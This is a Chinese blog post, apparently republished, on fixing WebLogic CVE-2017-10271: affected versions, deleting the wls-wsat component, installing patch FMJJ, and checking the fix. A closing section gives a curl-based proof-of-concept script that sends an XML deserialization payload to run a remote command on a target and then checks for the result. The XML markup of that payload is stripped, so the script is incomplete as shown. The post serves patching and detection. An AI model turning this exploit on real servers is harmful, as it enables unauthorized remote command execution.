博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
weblogic CVE-2017-10271修复教程
阅读量:5148 次
发布时间:2019-06-13

本文共 3803 字,大约阅读时间需要 12 分钟。

1.简介

CVE-2017-10271是weblogic wls-wsat组件的一个xml反序列化漏洞,可造成远程命令执行。更详细分析可见参考链接,本文强调在进行参考链接修复中的一些细节。

 

2.影响版本

OracleWebLogic Server10.3.6.0.0

OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

打了B25A及其之前版本的补丁都没用,需要打2017年10月的补丁(FMJJ)

(实际检测发现weblogic 10.3.5.0版本也存在该漏洞,但官方并没有指出该版本也未提供该版本的补丁下载,对于该版本只好使用下边的临时办法进行处理)

 

3.处理办法

3.1方法一:临时处理办法

删除wls-wsat组件,然后重启weblogic(weblogic安装路径和domain名等根据自己实际情况修改)

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsatcd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin./stopWebLogic.sh./startWebLogic.sh &

说明:

1.一定要把前两个文件删掉再重启,只删其中一个或者删了一个重启后再删另外一个都是不能修复。原理上是在启动时1会复制到2,然后2会被缓存到内存(不是3)。如果只删除2那再启动时又复制回来显然没效果;如果只删除1那重启时2并不会被清除,所以还是没效果;如果重启完再删除由于已缓存到内存所以也没效果。缓存到内存只是我的猜测,因为实践测试就是启了再删漏洞还是未修复而在磁盘上又找不到vm-wsat组件在哪。

2.第三个文件不懂是什么只是各说明都要要删然后确实也是vm-wsat所以这里也删了,实践来看不删也修复了的。

3.删了这几个文件(夹)后需要重启才能生效。只删不重启效果和1中所说的重启了再删结果一样的,内存中还有缓存漏洞还是没修复。

4.vm-wsat在所有server都会部署,所以所有控制台和所有server都需要重启。

5.直接的验证方法是访问,http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11(ip和端口改成自己的),如是404则说明已成功删除。如果类似下面结果则未成功删除

 

3.2方法二:打补丁

到p26519424_1036_Generic.zip(FMJJ)打上即可(下载补丁需要登录账号,且该账号要已购买服务)

cd /home/WebLogic/Oracle/Middleware/utils/bsu  #进入bsu目录mkdir -p cache_dir/backup                      #创建backup目录用于备份mv cache_dir/* cache_dir/backup                #确保cache_dir下原来没有补丁unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #将补丁解压到cache_dirmv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml       #重命名patch-catalog./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/   #打FMJJ补丁

如果之前打了B25A等补丁直接打会报冲突Patch FMJJ is mutually exclusive and cannot coexist with patch(es): B25A,先将B25A等冲突的补丁卸载即可(weblogic新补丁包含之前补丁的更改可放心卸载)。

./bsu.sh -remove -patchlist=B25A  -prod_dir=../../wlserver_10.3/

说明:

1有人说要找windows版weblogic的补丁,实际操作来看windows和linux上的weblogic都用同一个补丁包的,并没有linux版补丁和windows版补丁的说法。

2关于打补丁时要不要停weblogic,按习惯是都先停了再打,但是按实际试验看不停就打除了打时服务可能会卡一点外功能也都正常。从原理上看,安装补丁的过程是归档有问题的文件然后使用新文件替代;卸载补丁的过程是移除该补丁相关的文件然后从归档文件中还原原先的文件,从这角度上看不会造成功能缺失。由于前述的缓存到内存所以功能未重启前功能也正常。

3打了补丁之后一样要重启weblogic才能生效,这是验证过的。

4打补丁后不要使用访问http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11看是否存在来判断漏洞是否修复,补丁是从代码修复了漏洞而不是删除了CoordinatorPortType所以打补丁后这个页面肯定还是存在的。

 

4.POC

严谨的安全工作者,讲究“no exp say jb”,以下是一个linux shell版本,在本地CentOS服务器上验证通过

IP=192.168.220.128            #要检测的主机IPPORT=9000                     #要检测的主机端口COMMAND='find . -name "war" -exec touch {}/poc.jsp \;'    #此为要远程执行的命令;weblogic工作目录为domain目录,此句远程无差别地在所有war目录下创建poc.jsp文件XML_PAYLOAD_PRE='
/bin/bash
-c
'XML_PAYLOAD_MID="
${COMMAND}
" #由于没有找到更好的办法拼接,只要将payload先分割成了前中后三段XML_PAYLOAD_POST='
'XML_PAYLOAD="${XML_PAYLOAD_PRE}${XML_PAYLOAD_MID}${XML_PAYLOAD_POST}" #拼接payloadecho "${XML_PAYLOAD}" | curl -X POST -H 'Content-type:text/xml' -d @- http://$IP:$PORT/wls-wsat/CoordinatorPortType #使用curl post提交payloadRESPOND_CODE=`curl -I -s -w "%{http_code}\n" -o /dev/null http://$IP:$PORT/wls-wsat/poc.jsp` #访问poc文件,以其是否成功创建来判断命令是否成功执行if [ $RESPOND_CODE == 200 ]thenecho "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT exist cve-2017-10271"elif [ $RESPOND_CODE == 404 ]thenecho "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT do not exist cve-2017-10271"elseecho "RESPOND_CODE = ${RESPOND_CODE}, i do not know what does it means"fi

也可以到github上找找,看了一下意思都大同小异

 

参考:

转载于:https://www.cnblogs.com/lsdb/p/8119358.html

你可能感兴趣的文章
Swift 入门之简单语法(六)
查看>>
shim和polyfill有什么区别
查看>>
Failed to load the JNI shared library “E:/2000/Java/JDK6/bin/..jre/bin/client/jvm.dll
查看>>
〖Python〗-- IO多路复用
查看>>
栈(括号匹配)
查看>>
Java学习 · 初识 面向对象深入一
查看>>
源代码如何管理
查看>>
vue怎么将一个组件引入另一个组件?
查看>>
bzoj1040: [ZJOI2008]骑士
查看>>
LeetCode 74. Search a 2D Matrix(搜索二维矩阵)
查看>>
利用SignalR来同步更新Winfrom
查看>>
反射机制
查看>>
CocoaPod
查看>>
css3实现漂亮的按钮链接
查看>>
BZOJ 1251: 序列终结者 [splay]
查看>>
5G边缘网络虚拟化的利器:vCPE和SD-WAN
查看>>
MATLAB基础入门笔记
查看>>
【UVA】434-Matty's Blocks
查看>>
运行一个窗体直接最大化并把窗体右上角的最大化最小化置灰
查看>>
Android开发技术周报 Issue#80
查看>>